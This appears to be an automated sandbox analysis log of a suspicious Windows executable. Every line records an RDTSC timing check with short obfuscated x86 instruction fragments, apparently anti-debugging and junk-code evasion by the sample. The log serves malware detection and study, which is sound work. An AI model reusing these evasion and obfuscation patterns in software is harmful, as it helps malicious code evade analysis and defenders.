Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 994F1C second address: 994F22 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 994F22 second address: 994F26 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 9981E3 second address: 9981E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 9981E8 second address: 9981EE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 99832A second address: 998379 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F87A450AC66h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jne 00007F87A450AC6Ch 0x00000010 popad 0x00000011 add dword ptr [esp], 28F4B3E8h 0x00000018 mov edi, dword ptr [ebp+122D3908h] 0x0000001e lea ebx, dword ptr [ebp+1244F0F9h] 0x00000024 push 00000000h 0x00000026 push edx 0x00000027 call 00007F87A450AC68h 0x0000002c pop edx 0x0000002d mov dword ptr [esp+04h], edx 0x00000031 add dword ptr [esp+04h], 00000017h 0x00000039 inc edx 0x0000003a push edx 0x0000003b ret 0x0000003c pop edx 0x0000003d ret 0x0000003e push eax 0x0000003f push edx 0x00000040 push eax 0x00000041 push edx 0x00000042 push eax 0x00000043 push edx 0x00000044 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 998379 second address: 99837D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 99837D second address: 998381 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 9984EA second address: 9984EE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 998689 second address: 99868E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 99868E second address: 998694 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 998694 second address: 998698 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 998698 second address: 9986B7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F87A4B0387Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jp 00007F87A4B03876h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 9986B7 second address: 9986BD instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 9A9033 second address: 9A9039 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 9A9039 second address: 9A9061 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jmp 00007F87A450AC6Dh 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F87A450AC70h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 9A9061 second address: 9A9067 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 988EF3 second address: 988EFC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 9B7552 second address: 9B7558 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 9B7692 second address: 9B769E instructions: 0x00000000 rdtsc 0x00000002 jl 00007F87A450AC66h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 9B769E second address: 9B76B2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F87A4B0387Eh 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 9B794B second address: 9B7953 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 9B7953 second address: 9B7963 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 jbe 00007F87A4B03876h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 9B7AA1 second address: 9B7AB7 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F87A450AC66h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jc 00007F87A450AC6Ch 0x00000010 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 9B7D99 second address: 9B7DAE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F87A4B0387Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 9B7DAE second address: 9B7DB2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 9B7DB2 second address: 9B7DB6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 9B8217 second address: 9B822C instructions: 0x00000000 rdtsc 0x00000002 jno 00007F87A450AC6Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d push esi 0x0000000e pop esi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 9B822C second address: 9B8230 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 9B8230 second address: 9B8251 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 jmp 00007F87A450AC78h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 9B8251 second address: 9B825E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push ecx 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 pop ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 9B825E second address: 9B8262 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 9B84D4 second address: 9B84F4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007F87A4B03886h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 9B8CDE second address: 9B8CE2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 9B8CE2 second address: 9B8CF7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F87A4B03876h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jp 00007F87A4B03876h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 9B9429 second address: 9B942F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 9B942F second address: 9B9447 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F87A4B03882h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 9B9447 second address: 9B944C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 9C240B second address: 9C240F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 9C240F second address: 9C2415 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 9C2415 second address: 9C241A instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 9C241A second address: 9C2420 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 98A962 second address: 98A968 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 98A968 second address: 98A96C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 98A96C second address: 98A984 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F87A4B03882h 0x00000007 push edx 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 9C62DB second address: 9C62DF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 9C62DF second address: 9C62F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jp 00007F87A4B0387Eh 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 9C62F1 second address: 9C62F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 987452 second address: 987461 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F87A4B0387Bh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 9C5790 second address: 9C57A1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F87A450AC6Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 9C57A1 second address: 9C57A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 9C5BD2 second address: 9C5BED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pushad 0x00000006 popad 0x00000007 pop ebx 0x00000008 popad 0x00000009 jne 00007F87A450AC76h 0x0000000f push esi 0x00000010 push esi 0x00000011 pop esi 0x00000012 pop esi 0x00000013 jg 00007F87A450AC6Ch 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 9C6AA6 second address: 9C6AAB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 9C6B70 second address: 9C6B75 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 9C6E79 second address: 9C6E7F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 9C6E7F second address: 9C6E84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 9C6F1A second address: 9C6F25 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 9C6F25 second address: 9C6F29 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 9C72DB second address: 9C72E5 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F87A4B03876h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 9C7BD0 second address: 9C7BD6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 9C7BD6 second address: 9C7BDA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 9C7BDA second address: 9C7BDE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 9C7CD8 second address: 9C7D05 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ecx 0x00000006 mov dword ptr [esp], eax 0x00000009 or esi, 230F33BFh 0x0000000f mov dword ptr [ebp+122D3392h], ecx 0x00000015 push eax 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007F87A4B03885h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 9C80BB second address: 9C815B instructions: 0x00000000 rdtsc 0x00000002 jns 00007F87A450AC66h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a je 00007F87A450AC7Dh 0x00000010 jmp 00007F87A450AC77h 0x00000015 popad 0x00000016 mov dword ptr [esp], eax 0x00000019 and di, 8F08h 0x0000001e push 00000000h 0x00000020 push 00000000h 0x00000022 push esi 0x00000023 call 00007F87A450AC68h 0x00000028 pop esi 0x00000029 mov dword ptr [esp+04h], esi 0x0000002d add dword ptr [esp+04h], 0000001Ah 0x00000035 inc esi 0x00000036 push esi 0x00000037 ret 0x00000038 pop esi 0x00000039 ret 0x0000003a push eax 0x0000003b xor esi, 37F74F4Fh 0x00000041 pop esi 0x00000042 push 00000000h 0x00000044 push edx 0x00000045 push edx 0x00000046 movzx edi, di 0x00000049 pop edi 0x0000004a pop esi 0x0000004b xchg eax, ebx 0x0000004c jmp 00007F87A450AC6Bh 0x00000051 push eax 0x00000052 pushad 0x00000053 jmp 00007F87A450AC77h 0x00000058 push eax 0x00000059 push edx 0x0000005a jmp 00007F87A450AC74h 0x0000005f rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 9C8AE1 second address: 9C8AF0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F87A4B0387Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 9C8920 second address: 9C8925 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 9C8AF0 second address: 9C8B4C instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F87A4B03887h 0x0000000e nop 0x0000000f push 00000000h 0x00000011 jmp 00007F87A4B03881h 0x00000016 mov edi, 7BB886C4h 0x0000001b push 00000000h 0x0000001d mov edi, 3AB3A4EEh 0x00000022 push eax 0x00000023 push eax 0x00000024 push edx 0x00000025 jmp 00007F87A4B03889h 0x0000002a rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 9C8925 second address: 9C8939 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F87A450AC6Fh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 9C8939 second address: 9C8962 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jg 00007F87A4B0388Fh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 97D2DA second address: 97D2E1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 9CB163 second address: 9CB168 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 9CB168 second address: 9CB1D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push ebx 0x00000009 pushad 0x0000000a jp 00007F87A450AC66h 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 pop ebx 0x00000014 nop 0x00000015 mov dword ptr [ebp+12449035h], ebx 0x0000001b push 00000000h 0x0000001d push 00000000h 0x0000001f push ebp 0x00000020 call 00007F87A450AC68h 0x00000025 pop ebp 0x00000026 mov dword ptr [esp+04h], ebp 0x0000002a add dword ptr [esp+04h], 00000014h 0x00000032 inc ebp 0x00000033 push ebp 0x00000034 ret 0x00000035 pop ebp 0x00000036 ret 0x00000037 push ebx 0x00000038 mov di, si 0x0000003b pop esi 0x0000003c push 00000000h 0x0000003e push 00000000h 0x00000040 push ebp 0x00000041 call 00007F87A450AC68h 0x00000046 pop ebp 0x00000047 mov dword ptr [esp+04h], ebp 0x0000004b add dword ptr [esp+04h], 00000016h 0x00000053 inc ebp 0x00000054 push ebp 0x00000055 ret 0x00000056 pop ebp 0x00000057 ret 0x00000058 push eax 0x00000059 jc 00007F87A450AC87h 0x0000005f pushad 0x00000060 push eax 0x00000061 push edx 0x00000062 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 9CD98E second address: 9CD9B6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F87A4B03889h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push ecx 0x0000000d js 00007F87A4B03876h 0x00000013 pop ecx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 9D373C second address: 9D3742 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 9D3742 second address: 9D3746 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 9D3746 second address: 9D3760 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F87A450AC6Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push ecx 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 9D3760 second address: 9D3766 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 9D1A82 second address: 9D1A86 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 9D3A1F second address: 9D3A27 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 9D46B8 second address: 9D4733 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 jbe 00007F87A450AC76h 0x0000000d jmp 00007F87A450AC70h 0x00000012 nop 0x00000013 push 00000000h 0x00000015 push ecx 0x00000016 call 00007F87A450AC68h 0x0000001b pop ecx 0x0000001c mov dword ptr [esp+04h], ecx 0x00000020 add dword ptr [esp+04h], 0000001Ch 0x00000028 inc ecx 0x00000029 push ecx 0x0000002a ret 0x0000002b pop ecx 0x0000002c ret 0x0000002d push 00000000h 0x0000002f mov edi, dword ptr [ebp+122D1A78h] 0x00000035 push 00000000h 0x00000037 push 00000000h 0x00000039 push eax 0x0000003a call 00007F87A450AC68h 0x0000003f pop eax 0x00000040 mov dword ptr [esp+04h], eax 0x00000044 add dword ptr [esp+04h], 00000019h 0x0000004c inc eax 0x0000004d push eax 0x0000004e ret 0x0000004f pop eax 0x00000050 ret 0x00000051 mov bl, 7Ch 0x00000053 mov ebx, dword ptr [ebp+122D2D1Dh] 0x00000059 xchg eax, esi 0x0000005a push eax 0x0000005b push edx 0x0000005c push edx 0x0000005d push eax 0x0000005e push edx 0x0000005f rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 9D4733 second address: 9D4738 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 9D58AA second address: 9D58B0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 9D48E4 second address: 9D48E8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 9D693E second address: 9D6976 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F87A450AC79h 0x00000008 jmp 00007F87A450AC73h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 jmp 00007F87A450AC70h 0x00000018 ja 00007F87A450AC66h 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 9D49E7 second address: 9D49EB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 9D6976 second address: 9D69BC instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F87A450AC68h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b push 00000000h 0x0000000d push 00000000h 0x0000000f push edx 0x00000010 call 00007F87A450AC68h 0x00000015 pop edx 0x00000016 mov dword ptr [esp+04h], edx 0x0000001a add dword ptr [esp+04h], 00000018h 0x00000022 inc edx 0x00000023 push edx 0x00000024 ret 0x00000025 pop edx 0x00000026 ret 0x00000027 movsx edi, dx 0x0000002a sub dword ptr [ebp+122D228Ch], ecx 0x00000030 push 00000000h 0x00000032 mov dword ptr [ebp+122D3579h], eax 0x00000038 push eax 0x00000039 pushad 0x0000003a push eax 0x0000003b push edx 0x0000003c push esi 0x0000003d pop esi 0x0000003e rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 9D69BC second address: 9D69C0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 9D69C0 second address: 9D69CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
